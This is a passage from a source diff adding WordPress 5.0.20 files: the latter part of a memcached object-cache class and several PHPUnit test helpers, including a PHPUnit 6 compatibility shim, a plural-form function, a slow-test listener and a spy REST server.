+     * Get server pool statistics.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.getstats.php
+	 *
+	 * @return  array       Array of server statistics, one entry per server.
+	 */
+	public function getStats() {
+		return $this->m->getStats();
+	}
+
+	/**
+	 * Get server pool memcached version information.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.getversion.php
+	 *
+	 * @return  array       Array of server versions, one entry per server.
+	 */
+	public function getVersion() {
+		return $this->m->getVersion();
+	}
+
+	/**
+	 * Increment a numeric item's value.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.increment.php
+	 *
+	 * @param   string      $key        The key under which to store the value.
+	 * @param   int         $offset     The amount by which to increment the item's value.
+	 * @param   string      $group      The group value appended to the $key.
+	 * @return  int|bool                Returns item's new value on success or FALSE on failure.
+	 */
+	public function increment( $key, $offset = 1, $group = 'default' ) {
+		$derived_key = $this->buildKey( $key, $group );
+
+		// Increment values in no_mc_groups
+		if ( in_array( $group, $this->no_mc_groups ) ) {
+
+			// Only increment if the key already exists and the number is currently 0 or greater (mimics memcached behavior)
+			if ( isset( $this->cache[$derived_key] ) &&  $this->cache[$derived_key] >= 0 ) {
+
+				// If numeric, add; otherwise, consider it 0 and do nothing
+				if ( is_numeric( $this->cache[$derived_key] ) )
+					$this->cache[$derived_key] += (int) $offset;
+				else
+					$this->cache[$derived_key] = 0;
+
+				// Returned value cannot be less than 0
+				if ( $this->cache[$derived_key] < 0 )
+					$this->cache[$derived_key] = 0;
+
+				return $this->cache[$derived_key];
+			} else {
+				return false;
+			}
+		}
+
+		$result = $this->m->increment( $derived_key, $offset );
+
+		if ( Memcached::RES_SUCCESS === $this->getResultCode() )
+			$this->add_to_internal_cache( $derived_key, $result );
+
+		return $result;
+	}
+
+	/**
+	 * Synonymous with $this->incr.
+	 *
+	 * Certain plugins expect an "incr" method on the $wp_object_cache object (e.g., Batcache). Since the original
+	 * version of this library matched names to the memcached methods, the "incr" method was missing. Adding this
+	 * method restores compatibility with plugins expecting an "incr" method.
+	 *
+	 * @param   string      $key        The key under which to store the value.
+	 * @param   int         $offset     The amount by which to increment the item's value.
+	 * @param   string      $group      The group value appended to the $key.
+	 * @return  int|bool                Returns item's new value on success or FALSE on failure.
+	 */
+	public function incr( $key, $offset = 1, $group = 'default' ) {
+		return $this->increment( $key, $offset, $group );
+	}
+
+	/**
+	 * Prepend data to an existing item.
+	 *
+	 * This method should throw an error if it is used with compressed data. This is an expected behavior.
+	 * Memcached casts the value to be prepended to the initial value to the type of the initial value. Be
+	 * careful as this leads to unexpected behavior at times. For instance, prepending (float) 45.23 to
+	 * (int) 23 will result in 45, because the value is first combined (45.2323) then cast to "integer"
+	 * (the original value), which will be (int) 45. Due to how memcached treats types, the behavior has been
+	 * mimicked in the internal cache to produce similar results and improve consistency. It is recommend
+	 * that prepends only occur with data of the same type.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.prepend.php
+	 *
+	 * @param   string    $key          The key under which to store the value.
+	 * @param   string    $value        Must be string as prepending mixed values is not well-defined.
+	 * @param   string    $group        The group value prepended to the $key.
+	 * @param   string    $server_key   The key identifying the server to store the value on.
+	 * @param   bool      $byKey        True to store in internal cache by key; false to not store by key
+	 * @return  bool                    Returns TRUE on success or FALSE on failure.
+	 */
+	public function prepend( $key, $value, $group = 'default', $server_key = '', $byKey = false ) {
+		if ( ! is_string( $value ) && ! is_int( $value ) && ! is_float( $value ) )
+			return false;
+
+		$derived_key = $this->buildKey( $key, $group );
+
+		// If group is a non-Memcached group, prepend to runtime cache value, not Memcached
+		if ( in_array( $group, $this->no_mc_groups ) ) {
+			if ( ! isset( $this->cache[$derived_key] ) )
+				return false;
+
+			$combined = $this->combine_values( $this->cache[$derived_key], $value, 'pre' );
+			$this->add_to_internal_cache( $derived_key, $combined );
+			return true;
+		}
+
+		// Append to Memcached value
+		if ( $byKey )
+			$result = $this->m->prependByKey( $server_key, $derived_key, $value );
+		else
+			$result = $this->m->prepend( $derived_key, $value );
+
+		// Store in runtime cache if add was successful
+		if ( Memcached::RES_SUCCESS === $this->getResultCode() ) {
+			$combined = $this->combine_values( $this->cache[$derived_key], $value, 'pre' );
+			$this->add_to_internal_cache( $derived_key, $combined );
+		}
+
+		return $result;
+	}
+
+	/**
+	 * Append data to an existing item by server key.
+	 *
+	 * This method should throw an error if it is used with compressed data. This is an expected behavior.
+	 * Memcached casts the value to be prepended to the initial value to the type of the initial value. Be
+	 * careful as this leads to unexpected behavior at times. For instance, prepending (float) 45.23 to
+	 * (int) 23 will result in 45, because the value is first combined (45.2323) then cast to "integer"
+	 * (the original value), which will be (int) 45. Due to how memcached treats types, the behavior has been
+	 * mimicked in the internal cache to produce similar results and improve consistency. It is recommend
+	 * that prepends only occur with data of the same type.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.prependbykey.php
+	 *
+	 * @param   string    $server_key   The key identifying the server to store the value on.
+	 * @param   string    $key          The key under which to store the value.
+	 * @param   string    $value        Must be string as prepending mixed values is not well-defined.
+	 * @param   string    $group        The group value prepended to the $key.
+	 * @return  bool                    Returns TRUE on success or FALSE on failure.
+	 */
+	public function prependByKey( $server_key, $key, $value, $group = 'default' ) {
+		return $this->prepend( $key, $value, $group, $server_key, true );
+	}
+
+	/**
+	 * Replaces a value in cache.
+	 *
+	 * This method is similar to "add"; however, is does not successfully set a value if
+	 * the object's key is not already set in cache.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.replace.php
+	 *
+	 * @param   string      $server_key     The key identifying the server to store the value on.
+	 * @param   string      $key            The key under which to store the value.
+	 * @param   mixed       $value          The value to store.
+	 * @param   string      $group          The group value appended to the $key.
+	 * @param   bool        $byKey          True to store in internal cache by key; false to not store by key
+	 * @param   int         $expiration     The expiration time, defaults to 0.
+	 * @return  bool                        Returns TRUE on success or FALSE on failure.
+	 */
+	public function replace( $key, $value, $group = 'default', $expiration = 0, $server_key = '', $byKey = false ) {
+		$derived_key = $this->buildKey( $key, $group );
+		$expiration  = $this->sanitize_expiration( $expiration );
+
+		// If group is a non-Memcached group, save to runtime cache, not Memcached
+		if ( in_array( $group, $this->no_mc_groups ) ) {
+
+			// Replace won't save unless the key already exists; mimic this behavior here
+			if ( ! isset( $this->cache[$derived_key] ) )
+				return false;
+
+			$this->cache[$derived_key] = $value;
+			return true;
+		}
+
+		// Save to Memcached
+		if ( $byKey )
+			$result = $this->m->replaceByKey( $server_key, $derived_key, $value, $expiration );
+		else
+			$result = $this->m->replace( $derived_key, $value, $expiration );
+
+		// Store in runtime cache if add was successful
+		if ( Memcached::RES_SUCCESS === $this->getResultCode() )
+			$this->add_to_internal_cache( $derived_key, $value );
+
+		return $result;
+	}
+
+	/**
+	 * Replaces a value in cache on a specific server.
+	 *
+	 * This method is similar to "addByKey"; however, is does not successfully set a value if
+	 * the object's key is not already set in cache.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.addbykey.php
+	 *
+	 * @param   string      $server_key     The key identifying the server to store the value on.
+	 * @param   string      $key            The key under which to store the value.
+	 * @param   mixed       $value          The value to store.
+	 * @param   string      $group          The group value appended to the $key.
+	 * @param   int         $expiration     The expiration time, defaults to 0.
+	 * @return  bool                        Returns TRUE on success or FALSE on failure.
+	 */
+	public function replaceByKey( $server_key, $key, $value, $group = 'default', $expiration = 0 ) {
+		return $this->replace( $key, $value, $group, $expiration, $server_key, true );
+	}
+
+	/**
+	 * Sets a value in cache.
+	 *
+	 * The value is set whether or not this key already exists in memcached.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.set.php
+	 *
+	 * @param   string      $key        The key under which to store the value.
+	 * @param   mixed       $value      The value to store.
+	 * @param   string      $group      The group value appended to the $key.
+	 * @param   int         $expiration The expiration time, defaults to 0.
+	 * @param   string      $server_key The key identifying the server to store the value on.
+	 * @param   bool        $byKey      True to store in internal cache by key; false to not store by key
+	 * @return  bool                    Returns TRUE on success or FALSE on failure.
+	 */
+	public function set( $key, $value, $group = 'default', $expiration = 0, $server_key = '', $byKey = false ) {
+		$derived_key = $this->buildKey( $key, $group );
+		$expiration  = $this->sanitize_expiration( $expiration );
+
+		// If group is a non-Memcached group, save to runtime cache, not Memcached
+		if ( in_array( $group, $this->no_mc_groups ) ) {
+			$this->add_to_internal_cache( $derived_key, $value );
+			return true;
+		}
+
+		// Save to Memcached
+		if ( $byKey ) {
+			$result = $this->m->setByKey( $server_key, $derived_key, $value, $expiration );
+		} else {
+			$result = $this->m->set( $derived_key, $value, $expiration );
+		}
+
+		// Store in runtime cache if add was successful
+		if ( Memcached::RES_SUCCESS === $this->getResultCode() )
+			$this->add_to_internal_cache( $derived_key, $value );
+
+		return $result;
+	}
+
+	/**
+	 * Sets a value in cache on a specific server.
+	 *
+	 * The value is set whether or not this key already exists in memcached.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.setbykey.php
+	 *
+	 * @param   string      $server_key     The key identifying the server to store the value on.
+	 * @param   string      $key            The key under which to store the value.
+	 * @param   mixed       $value          The value to store.
+	 * @param   string      $group          The group value appended to the $key.
+	 * @param   int         $expiration     The expiration time, defaults to 0.
+	 * @return  bool                        Returns TRUE on success or FALSE on failure.
+	 */
+	public function setByKey( $server_key, $key, $value, $group = 'default', $expiration = 0 ) {
+		return $this->set( $key, $value, $group, $expiration, $server_key, true );
+	}
+
+	/**
+	 * Set multiple values to cache at once.
+	 *
+	 * By sending an array of $items to this function, all values are saved at once to
+	 * memcached, reducing the need for multiple requests to memcached. The $items array
+	 * keys and values are what are stored to memcached. The keys in the $items array
+	 * are merged with the $groups array/string value via buildKeys to determine the
+	 * final key for the object.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.setmulti.php
+	 *
+	 * @param   array           $items          An array of key/value pairs to store on the server.
+	 * @param   string|array    $groups         Group(s) to merge with key(s) in $items.
+	 * @param   int             $expiration     The expiration time, defaults to 0.
+	 * @param   string          $server_key     The key identifying the server to store the value on.
+	 * @param   bool            $byKey          True to store in internal cache by key; false to not store by key
+	 * @return  bool                            Returns TRUE on success or FALSE on failure.
+	 */
+	public function setMulti( $items, $groups = 'default', $expiration = 0, $server_key = '', $byKey = false ) {
+		// Build final keys and replace $items keys with the new keys
+		$derived_keys  = $this->buildKeys( array_keys( $items ), $groups );
+		$expiration    = $this->sanitize_expiration( $expiration );
+		$derived_items = array_combine( $derived_keys, $items );
+
+		// Do not add to memcached if in no_mc_groups
+		foreach ( $derived_items as $derived_key => $value ) {
+
+			// Get the individual item's group
+			$key_pieces = explode( ':', $derived_key );
+
+			// If group is a non-Memcached group, save to runtime cache, not Memcached
+			if ( in_array( $key_pieces[1], $this->no_mc_groups ) ) {
+				$this->add_to_internal_cache( $derived_key, $value );
+				unset( $derived_items[$derived_key] );
+			}
+		}
+
+		// Save to memcached
+		if ( $byKey )
+			$result = $this->m->setMultiByKey( $server_key, $derived_items, $expiration );
+		else
+			$result = $this->m->setMulti( $derived_items, $expiration );
+
+		// Store in runtime cache if add was successful
+		if ( Memcached::RES_SUCCESS === $this->getResultCode() )
+			$this->cache = array_merge( $this->cache, $derived_items );
+
+		return $result;
+	}
+
+	/**
+	 * Set multiple values to cache at once on specified server.
+	 *
+	 * By sending an array of $items to this function, all values are saved at once to
+	 * memcached, reducing the need for multiple requests to memcached. The $items array
+	 * keys and values are what are stored to memcached. The keys in the $items array
+	 * are merged with the $groups array/string value via buildKeys to determine the
+	 * final key for the object.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.setmultibykey.php
+	 *
+	 * @param   string          $server_key     The key identifying the server to store the value on.
+	 * @param   array           $items          An array of key/value pairs to store on the server.
+	 * @param   string|array    $groups         Group(s) to merge with key(s) in $items.
+	 * @param   int             $expiration     The expiration time, defaults to 0.
+	 * @return  bool                            Returns TRUE on success or FALSE on failure.
+	 */
+	public function setMultiByKey( $server_key, $items, $groups = 'default', $expiration = 0 ) {
+		return $this->setMulti( $items, $groups, $expiration, $server_key, true );
+	}
+
+	/**
+	 * Set a Memcached option.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.setoption.php
+	 *
+	 * @param   int         $option     Option name.
+	 * @param   mixed       $value      Option value.
+	 * @return  bool                Returns TRUE on success or FALSE on failure.
+	 */
+	public function setOption( $option, $value ) {
+		return $this->m->setOption( $option, $value );
+	}
+
+	/**
+	 * Builds a key for the cached object using the blog_id, key, and group values.
+	 *
+	 * @author  Ryan Boren   This function is inspired by the original WP Memcached Object cache.
+	 * @link    http://wordpress.org/extend/plugins/memcached/
+	 *
+	 * @param   string      $key        The key under which to store the value.
+	 * @param   string      $group      The group value appended to the $key.
+	 * @return  string
+	 */
+	public function buildKey( $key, $group = 'default' ) {
+		if ( empty( $group ) )
+			$group = 'default';
+
+		if ( false !== array_search( $group, $this->global_groups ) )
+			$prefix = $this->global_prefix;
+		else
+			$prefix = $this->blog_prefix;
+
+		return preg_replace( '/\s+/', '', WP_CACHE_KEY_SALT . "$prefix$group:$key" );
+	}
+
+	/**
+	 * Creates an array of keys from passed key(s) and group(s).
+	 *
+	 * This function takes a string or array of key(s) and group(s) and combines them into a single dimensional
+	 * array that merges the keys and groups. If the same number of keys and groups exist, the final keys will
+	 * append $groups[n] to $keys[n]. If there are more keys than groups and the $groups parameter is an array,
+	 * $keys[n] will be combined with $groups[n] until $groups runs out of values. 'default' will be used for remaining
+	 * values. If $keys is an array and $groups is a string, all final values will append $groups to $keys[n].
+	 * If both values are strings, they will be combined into a single string. Note that if more $groups are received
+	 * than $keys, the method will return an empty array. This method is primarily a helper method for methods
+	 * that call memcached with an array of keys.
+	 *
+	 * @param   string|array    $keys       Key(s) to merge with group(s).
+	 * @param   string|array    $groups     Group(s) to merge with key(s).
+	 * @return  array                       Array that combines keys and groups into a single set of memcached keys.
+	 */
+	public function buildKeys( $keys, $groups = 'default' ) {
+		$derived_keys = array();
+
+		// If strings sent, convert to arrays for proper handling
+		if ( ! is_array( $groups ) )
+			$groups = (array) $groups;
+
+		if ( ! is_array( $keys ) )
+			$keys = (array) $keys;
+
+		// If we have equal numbers of keys and groups, merge $keys[n] and $group[n]
+		if ( count( $keys ) == count( $groups ) ) {
+			for ( $i = 0; $i < count( $keys ); $i++ ) {
+				$derived_keys[] = $this->buildKey( $keys[$i], $groups[$i] );
+			}
+
+		// If more keys are received than groups, merge $keys[n] and $group[n] until no more group are left; remaining groups are 'default'
+		} elseif ( count( $keys ) > count( $groups ) ) {
+			for ( $i = 0; $i < count( $keys ); $i++ ) {
+				if ( isset( $groups[$i] ) )
+					$derived_keys[] = $this->buildKey( $keys[$i], $groups[$i] );
+				elseif ( count( $groups ) == 1 )
+					$derived_keys[] = $this->buildKey( $keys[$i], $groups[0] );
+				else
+					$derived_keys[] = $this->buildKey( $keys[$i], 'default' );
+			}
+		}
+
+		return $derived_keys;
+	}
+
+	/**
+	 * Ensure that a proper expiration time is set.
+	 *
+	 * Memcached treats any value over 30 days as a timestamp. If a developer sets the expiration for greater than 30
+	 * days or less than the current timestamp, the timestamp is in the past and the value isn't cached. This function
+	 * detects values in that range and corrects them.
+	 *
+	 * @param  string|int    $expiration    The dirty expiration time.
+	 * @return string|int                   The sanitized expiration time.
+	 */
+	public function sanitize_expiration( $expiration ) {
+		if ( $expiration > $this->thirty_days && $expiration <= $this->now ) {
+			$expiration = $expiration + $this->now;
+		}
+
+		return $expiration;
+	}
+
+	/**
+	 * Concatenates two values and casts to type of the first value.
+	 *
+	 * This is used in append and prepend operations to match how these functions are handled
+	 * by memcached. In both cases, whichever value is the original value in the combined value
+	 * will dictate the type of the combined value.
+	 *
+	 * @param   mixed       $original   Original value that dictates the combined type.
+	 * @param   mixed       $pended     Value to combine with original value.
+	 * @param   string      $direction  Either 'pre' or 'app'.
+	 * @return  mixed                   Combined value casted to the type of the first value.
+	 */
+	public function combine_values( $original, $pended, $direction ) {
+		$type = gettype( $original );
+
+		// Combine the values based on direction of the "pend"
+		if ( 'pre' == $direction )
+			$combined = $pended . $original;
+		else
+			$combined = $original . $pended;
+
+		// Cast type of combined value
+		settype( $combined, $type );
+
+		return $combined;
+	}
+
+	/**
+	 * Simple wrapper for saving object to the internal cache.
+	 *
+	 * @param   string      $derived_key    Key to save value under.
+	 * @param   mixed       $value          Object value.
+	 */
+	public function add_to_internal_cache( $derived_key, $value ) {
+		if ( is_object( $value ) ) {
+			$value = clone $value;
+		}
+
+		$this->cache[$derived_key] = $value;
+	}
+
+	/**
+	 * Determines if a no_mc_group exists in a group of groups.
+	 *
+	 * @param   mixed   $groups     The groups to search.
+	 * @return  bool                True if a no_mc_group is present; false if a no_mc_group is not present.
+	 */
+	public function contains_no_mc_group( $groups ) {
+		if ( is_scalar( $groups ) )
+			return in_array( $groups, $this->no_mc_groups );
+
+		if ( ! is_array( $groups ) )
+			return false;
+
+		foreach ( $groups as $group ) {
+			if ( in_array( $group, $this->no_mc_groups ) )
+				return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Add global groups.
+	 *
+	 * @author  Ryan Boren   This function comes straight from the original WP Memcached Object cache
+	 * @link    http://wordpress.org/extend/plugins/memcached/
+	 *
+	 * @param   array       $groups     Array of groups.
+	 * @return  void
+	 */
+	public function add_global_groups( $groups ) {
+		if ( ! is_array( $groups ) )
+			$groups = (array) $groups;
+
+		$this->global_groups = array_merge( $this->global_groups, $groups);
+		$this->global_groups = array_unique( $this->global_groups );
+	}
+
+	/**
+	 * Add non-persistent groups.
+	 *
+	 * @author  Ryan Boren   This function comes straight from the original WP Memcached Object cache
+	 * @link    http://wordpress.org/extend/plugins/memcached/
+	 *
+	 * @param   array       $groups     Array of groups.
+	 * @return  void
+	 */
+	public function add_non_persistent_groups( $groups ) {
+		if ( ! is_array( $groups ) )
+			$groups = (array) $groups;
+
+		$this->no_mc_groups = array_merge( $this->no_mc_groups, $groups );
+		$this->no_mc_groups = array_unique( $this->no_mc_groups );
+	}
+
+	/**
+	 * Get a value specifically from the internal, run-time cache, not memcached.
+	 *
+	 * @param   int|string  $key        Key value.
+	 * @param   int|string  $group      Group that the value belongs to.
+	 * @return  bool|mixed              Value on success; false on failure.
+	 */
+	public function get_from_runtime_cache( $key, $group ) {
+		$derived_key = $this->buildKey( $key, $group );
+
+		if ( isset( $this->cache[$derived_key] ) )
+			return $this->cache[$derived_key];
+
+		return false;
+	}
+
+	/**
+	 * Switch blog prefix, which changes the cache that is accessed.
+	 *
+	 * @param  int     $blog_id    Blog to switch to.
+	 * @return void
+	 */
+	public function switch_to_blog( $blog_id ) {
+		global $table_prefix;
+		$blog_id           = (int) $blog_id;
+		$this->blog_prefix = ( is_multisite() ? $blog_id : $table_prefix ) . ':';
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/phpunit6-compat.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/phpunit6-compat.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/phpunit6-compat.php	(revision 56912)
@@ -0,0 +1,38 @@
+<?php
+
+if ( class_exists( 'PHPUnit\Runner\Version' ) && version_compare( PHPUnit\Runner\Version::id(), '6.0', '>=' ) ) {
+
+	class_alias( 'PHPUnit\Framework\TestCase',                   'PHPUnit_Framework_TestCase' );
+	class_alias( 'PHPUnit\Framework\Exception',                  'PHPUnit_Framework_Exception' );
+	class_alias( 'PHPUnit\Framework\ExpectationFailedException', 'PHPUnit_Framework_ExpectationFailedException' );
+	class_alias( 'PHPUnit\Framework\Error\Notice',               'PHPUnit_Framework_Error_Notice' );
+	class_alias( 'PHPUnit\Framework\Error\Warning',              'PHPUnit_Framework_Error_Warning' );
+	class_alias( 'PHPUnit\Framework\Test',                       'PHPUnit_Framework_Test' );
+	class_alias( 'PHPUnit\Framework\Warning',                    'PHPUnit_Framework_Warning' );
+	class_alias( 'PHPUnit\Framework\AssertionFailedError',       'PHPUnit_Framework_AssertionFailedError' );
+	class_alias( 'PHPUnit\Framework\TestSuite',                  'PHPUnit_Framework_TestSuite' );
+	class_alias( 'PHPUnit\Framework\TestListener',               'PHPUnit_Framework_TestListener' );
+	class_alias( 'PHPUnit\Util\GlobalState',                     'PHPUnit_Util_GlobalState' );
+	class_alias( 'PHPUnit\Util\Getopt',                          'PHPUnit_Util_Getopt' );
+
+	class PHPUnit_Util_Test extends PHPUnit\Util\Test {
+
+		public static function getTickets( $className, $methodName ) {
+			$annotations = self::parseTestMethodAnnotations( $className, $methodName );
+
+			$tickets = array();
+
+			if ( isset( $annotations['class']['ticket'] ) ) {
+				$tickets = $annotations['class']['ticket'];
+			}
+
+			if ( isset( $annotations['method']['ticket'] ) ) {
+				$tickets = array_merge( $tickets, $annotations['method']['ticket'] );
+			}
+
+			return array_unique( $tickets );
+		}
+
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/includes/plural-form-function.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/plural-form-function.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/plural-form-function.php	(revision 56912)
@@ -0,0 +1,16 @@
+<?php
+
+/**
+ * Legacy plural form function.
+ *
+ * @param int $nplurals
+ * @param string $expression
+ */
+function tests_make_plural_form_function( $nplurals, $expression ) {
+	$expression = str_replace( 'n', '$n', $expression );
+	$func_body = "
+		\$index = (int)($expression);
+		return (\$index < $nplurals)? \$index : $nplurals - 1;";
+
+	return create_function( '$n', $func_body );
+}
Index: /tags/5.0.20/tests/phpunit/includes/speed-trap-listener.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/speed-trap-listener.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/speed-trap-listener.php	(revision 56912)
@@ -0,0 +1,326 @@
+<?php
+
+/**
+ * A PHPUnit TestListener that exposes your slowest running tests by outputting
+ * results directly to the console.
+ */
+class SpeedTrapListener implements PHPUnit_Framework_TestListener
+{
+    /**
+     * Internal tracking for test suites.
+     *
+     * Increments as more suites are run, then decremented as they finish. All
+     * suites have been run when returns to 0.
+     *
+     * @var integer
+     */
+    protected $suites = 0;
+
+    /**
+     * Time in milliseconds at which a test will be considered "slow" and be
+     * reported by this listener.
+     *
+     * @var int
+     */
+    protected $slowThreshold;
+
+    /**
+     * Number of tests to report on for slowness.
+     *
+     * @var int
+     */
+    protected $reportLength;
+
+    /**
+     * Collection of slow tests.
+     *
+     * @var array
+     */
+    protected $slow = array();
+
+    /**
+     * Construct a new instance.
+     *
+     * @param array $options
+     */
+    public function __construct(array $options = array())
+    {
+        $this->loadOptions($options);
+    }
+
+    /**
+     * An error occurred.
+     *
+     * @param PHPUnit_Framework_Test $test
+     * @param Exception              $e
+     * @param float                   $time
+     */
+    public function addError(PHPUnit_Framework_Test $test, Exception $e, $time)
+    {
+    }
+
+    /**
+     * A warning occurred.
+     *
+     * @param PHPUnit_Framework_Test    $test
+     * @param PHPUnit_Framework_Warning $e
+     * @param float                     $time
+     * @since Method available since Release 5.1.0
+     */
+    public function addWarning(PHPUnit_Framework_Test $test, PHPUnit_Framework_Warning $e, $time)
+    {
+    }
+
+    /**
+     * A failure occurred.
+     *
+     * @param PHPUnit_Framework_Test                 $test
+     * @param PHPUnit_Framework_AssertionFailedError $e
+     * @param float                                   $time
+     */
+    public function addFailure(PHPUnit_Framework_Test $test, PHPUnit_Framework_AssertionFailedError $e, $time)
+    {
+    }
+
+    /**
+     * Incomplete test.
+     *
+     * @param PHPUnit_Framework_Test $test
+     * @param Exception              $e
+     * @param float                   $time
+     */
+    public function addIncompleteTest(PHPUnit_Framework_Test $test, Exception $e, $time)
+    {
+    }
+
+    /**
+     * Risky test.
+     *
+     * @param PHPUnit_Framework_Test $test
+     * @param Exception              $e
+     * @param float                   $time
+     * @since  Method available since Release 4.0.0
+     */
+    public function addRiskyTest(PHPUnit_Framework_Test $test, Exception $e, $time)
+    {
+    }
+
+    /**
+     * Skipped test.
+     *
+     * @param PHPUnit_Framework_Test $test
+     * @param Exception              $e
+     * @param float                   $time
+     */
+    public function addSkippedTest(PHPUnit_Framework_Test $test, Exception $e, $time)
+    {
+    }
+
+    /**
+     * A test started.
+     *
+     * @param PHPUnit_Framework_Test $test
+     */
+    public function startTest(PHPUnit_Framework_Test $test)
+    {
+    }
+
+    /**
+     * A test ended.
+     *
+     * @param PHPUnit_Framework_Test $test
+     * @param float                   $time
+     */
+    public function endTest(PHPUnit_Framework_Test $test, $time)
+    {
+        if (!$test instanceof PHPUnit_Framework_TestCase) return;
+
+        $time = $this->toMilliseconds($time);
+        $threshold = $this->getSlowThreshold($test);
+
+        if ($this->isSlow($time, $threshold)) {
+            $this->addSlowTest($test, $time);
+        }
+    }
+
+    /**
+     * A test suite started.
+     *
+     * @param PHPUnit_Framework_TestSuite $suite
+     */
+    public function startTestSuite(PHPUnit_Framework_TestSuite $suite)
+    {
+        $this->suites++;
+    }
+
+    /**
+     * A test suite ended.
+     *
+     * @param PHPUnit_Framework_TestSuite $suite
+     */
+    public function endTestSuite(PHPUnit_Framework_TestSuite $suite)
+    {
+        $this->suites--;
+
+        if (0 === $this->suites && $this->hasSlowTests()) {
+            arsort($this->slow); // Sort longest running tests to the top
+
+            $this->renderHeader();
+            $this->renderBody();
+            $this->renderFooter();
+        }
+    }
+
+    /**
+     * Whether the given test execution time is considered slow.
+     *
+     * @param int $time          Test execution time in milliseconds
+     * @param int $slowThreshold Test execution time at which a test should be considered slow (milliseconds)
+     * @return bool
+     */
+    protected function isSlow($time, $slowThreshold)
+    {
+        return $time >= $slowThreshold;
+    }
+
+    /**
+     * Stores a test as slow.
+     *
+     * @param PHPUnit_Framework_TestCase $test
+     * @param int                         $time Test execution time in milliseconds
+     */
+    protected function addSlowTest(PHPUnit_Framework_TestCase $test, $time)
+    {
+        $label = $this->makeLabel($test);
+
+        $this->slow[$label] = $time;
+    }
+
+    /**
+     * Whether at least one test has been considered slow.
+     *
+     * @return bool
+     */
+    protected function hasSlowTests()
+    {
+        return !empty($this->slow);
+    }
+
+    /**
+     * Convert PHPUnit's reported test time (microseconds) to milliseconds.
+     *
+     * @param float $time
+     * @return int
+     */
+    protected function toMilliseconds($time)
+    {
+        return (int) round($time * 1000);
+    }
+
+    /**
+     * Label for describing a test.
+     *
+     * @param PHPUnit_Framework_TestCase $test
+     * @return string
+     */
+    protected function makeLabel(PHPUnit_Framework_TestCase $test)
+    {
+        return sprintf('%s:%s', get_class($test), $test->getName());
+    }
+
+    /**
+     * Calculate number of slow tests to report about.
+     *
+     * @return int
+     */
+    protected function getReportLength()
+    {
+        return min(count($this->slow), $this->reportLength);
+    }
+
+    /**
+     * Find how many slow tests occurred that won't be shown due to list length.
+     *
+     * @return int Number of hidden slow tests
+     */
+    protected function getHiddenCount()
+    {
+        $total = count($this->slow);
+        $showing = $this->getReportLength($this->slow);
+
+        $hidden = 0;
+        if ($total > $showing) {
+            $hidden = $total - $showing;
+        }
+
+        return $hidden;
+    }
+
+    /**
+     * Renders slow test report header.
+     */
+    protected function renderHeader()
+    {
+        echo sprintf("\n\nYou should really fix these slow tests (>%sms)...\n", $this->slowThreshold);
+    }
+
+    /**
+     * Renders slow test report body.
+     */
+    protected function renderBody()
+    {
+        $slowTests = $this->slow;
+
+        $length = $this->getReportLength($slowTests);
+        for ($i = 1; $i <= $length; ++$i) {
+            $label = key($slowTests);
+            $time = array_shift($slowTests);
+
+            echo sprintf(" %s. %sms to run %s\n", $i, $time, $label);
+        }
+    }
+
+    /**
+     * Renders slow test report footer.
+     */
+    protected function renderFooter()
+    {
+        if ($hidden = $this->getHiddenCount($this->slow)) {
+            echo sprintf("...and there %s %s more above your threshold hidden from view", $hidden == 1 ? 'is' : 'are', $hidden);
+        }
+    }
+
+    /**
+     * Populate options into class internals.
+     *
+     * @param array $options
+     */
+    protected function loadOptions(array $options)
+    {
+        $this->slowThreshold = isset($options['slowThreshold']) ? $options['slowThreshold'] : 500;
+        $this->reportLength = isset($options['reportLength']) ? $options['reportLength'] : 10;
+    }
+
+    /**
+     * Get slow test threshold for given test. A TestCase can override the
+     * suite-wide slow threshold by using the annotation @slowThreshold with
+     * the threshold value in milliseconds.
+     *
+     * The following test will only be considered slow when its execution time
+     * reaches 5000ms (5 seconds):
+     *
+     * <code>
+     * @slowThreshold 5000
+     * public function testLongRunningProcess() {}
+     * </code>
+     *
+     * @param PHPUnit_Framework_TestCase $test
+     * @return int
+     */
+    protected function getSlowThreshold(PHPUnit_Framework_TestCase $test)
+    {
+        $ann = $test->getAnnotations();
+
+        return isset($ann['method']['slowThreshold'][0]) ? $ann['method']['slowThreshold'][0] : $this->slowThreshold;
+    }
+}
Index: /tags/5.0.20/tests/phpunit/includes/spy-rest-server.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/spy-rest-server.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/spy-rest-server.php	(revision 56912)
@@ -0,0 +1,70 @@
+<?php
+
+class Spy_REST_Server extends WP_REST_Server {
+
+	public $sent_headers = array();
+	public $sent_body = '';
+	public $last_request = null;
+	public $override_by_default = false;
+
+	/**
+	 * Get the raw $endpoints data from the server
+	 *
+	 * @return array
+	 */
+	public function get_raw_endpoint_data() {
+		return $this->endpoints;
+	}
+
+	/**
+	 * Allow calling protected methods from tests
+	 *
+	 * @param string $method Method to call
+	 * @param array $args Arguments to pass to the method
+	 * @return mixed
+	 */
+	public function __call( $method, $args ) {
+		return call_user_func_array( array( $this, $method ), $args );
+	}
+
+	public function send_header( $header, $value ) {
+		$this->sent_headers[ $header ] = $value;
+	}
+
+	public function remove_header( $header ) {
+		unset( $this->sent_headers[ $header ] );
+	}
+
+	/**
+	 * Override the dispatch method so we can get a handle on the request object.
+	 *
+	 * @param  WP_REST_Request $request
+	 * @return WP_REST_Response Response returned by the callback.
+	 */
+	public function dispatch( $request ) {
+		$this->last_request = $request;
+		return parent::dispatch( $request );
+	}
+
+	/**
